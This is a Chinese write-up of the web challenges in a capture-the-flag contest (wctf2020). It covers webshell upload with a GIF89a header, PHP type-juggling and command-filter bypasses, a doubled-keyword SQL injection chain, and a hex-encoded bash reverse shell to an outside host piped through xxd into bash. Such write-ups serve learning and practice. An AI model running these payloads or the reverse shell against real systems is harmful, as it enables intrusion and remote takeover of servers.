连夜记录下web做题过程。ps:感觉做完后密码学有好多收获O(∩_∩)O哈~

1.checkin

微信截图_20200330235345.png


先问作者是谁,然后限制输入字符长度,然后禁用了input标签不让点。
暴力删除maxlenth和disable标签,输入作者:52HeRtz(膜一下)。之后弹出一个博客

微信截图_20200330235544.png


ctrl+u:

typed = new Typed(".subtitle", {
strings: 'Rome was not built in a day.,wctf2020{can_y0u_can_a_can_a,Never put off till tomorrow what you can do today'.split(","),
startDelay: 300,
typeSpeed: 100,
loop: true,
backSpeed: 50

这应该是一半的flag,最后在最后一篇blog的结尾发现:
5_a_c@nner_can_Can_@_can}

赛后师傅说这篇blog确实有意义。最后一句话,着实有点触动:

每一个正在努力改变自己窘迫命运的人,都值得被尊重。

flag:wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}

2.admin

微信截图_20200331000628.png


打开后是一个登录框,最后可能师傅们忍受不了,加了个hint:无爆破!
单线程fuzz发现好像没有过滤什么,在模糊测试sql语句时发现一堆1901字节的返回,以为遇到waf了,找了好久,在头中发现:

微信截图_20200331001222.png


访问:

微信截图_20200331001248.png


需要xff绕过,然后get,post构造相应参数。如下:

微信截图_20200331001444.png


4dz aste.ubuntu.com/p/ https://p Rqr cSf2
是个paste代码的地方。
重组后得到:
d2N0ZjIwMjB7bjB3X3lvdV9rbjB3X3RoZV9iYXNpY18wZl9zcWxfYW5kX2h0dHB9
解码:
wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

3.CV Maker

注册好之后是个图片上传点:

微信截图_20200331003640.png


可能没有校验,我和一个哥们抢了好久的登录。。
抓包上传:

微信截图_20200331005544.png


这里问题就是我这个一句话前面早就加了gif89a所以我这步什么都没做直接传上去了。。。直接。。传了。。。
然后根目录发现flag

(www-data:/) $ ./readflag
wctf2020{congratulation_upl0ad_to_getShe1llllll}

4.朴实无华

扫描得到:

微信截图_20200331011052.png


然后开始绕过:
第一关

微信截图_20200331012115.png


这里有两种绕过方法。(不知道算不算两种)
1.使用科学计数法+1后自动转换
2.<php7以前使用16进制+1后也是会自动转换

第二关:
网上很多了,payload:0e215962017

第三关:
空格绕过:${IFS} %09(本质上一样) 参考http://smilejay.com/2011/12/bash_ifs/
cat绕过:三种方法
1.使用tac倒序输出
2.使用变量a=c;b=at;$a$b
3.使用more,同类型函数

又试了试,为毛还弹不出来。心态崩了。。
试了下颖师傅的:

echo${IFS}62617368202D69203E26202F6465762F7463702F67656D2D6C6F76652E636F6D2F313233353820303E2631|xxd${IFS}-r${IFS}-p|bash

微信截图_20200331013935.png


成功了。。(因为我vps是生产环境,就不漏出来了。)

5.easyweb

搞了三小时。本地复现成功。得出结论:
(本来还想好好学习下。。)
环境坏了

6.颜值成绩查询

两种方法:
1.盲注。刚好昨天写的exp改一下就能用了。(不过因为有回显,一般不会想到盲注)

微信截图_20200331051422.png


2.过滤了空格和union(话说怎么判断过滤了什么,fuzz测不出来呀Mark
走之前写的那个整数型注入攻击链。需要注意(绕过空格,双写绕过union,和双写union)

1.判断,查字段数-1**/order/**/by
2.查数据库/**/uniunionon/**/select/**/1,database()
3.查表/**/-1/**/uniunionon/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()
4.查字段/**/-1/**/uniunionon/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name=flag
5.爆数据/**/uniunionon/**/1,group_concat(flag)/**/from/**/sqli.flag

最后一题因为在win下的java环境不太友好。
不做啦。
(借口,,逃~)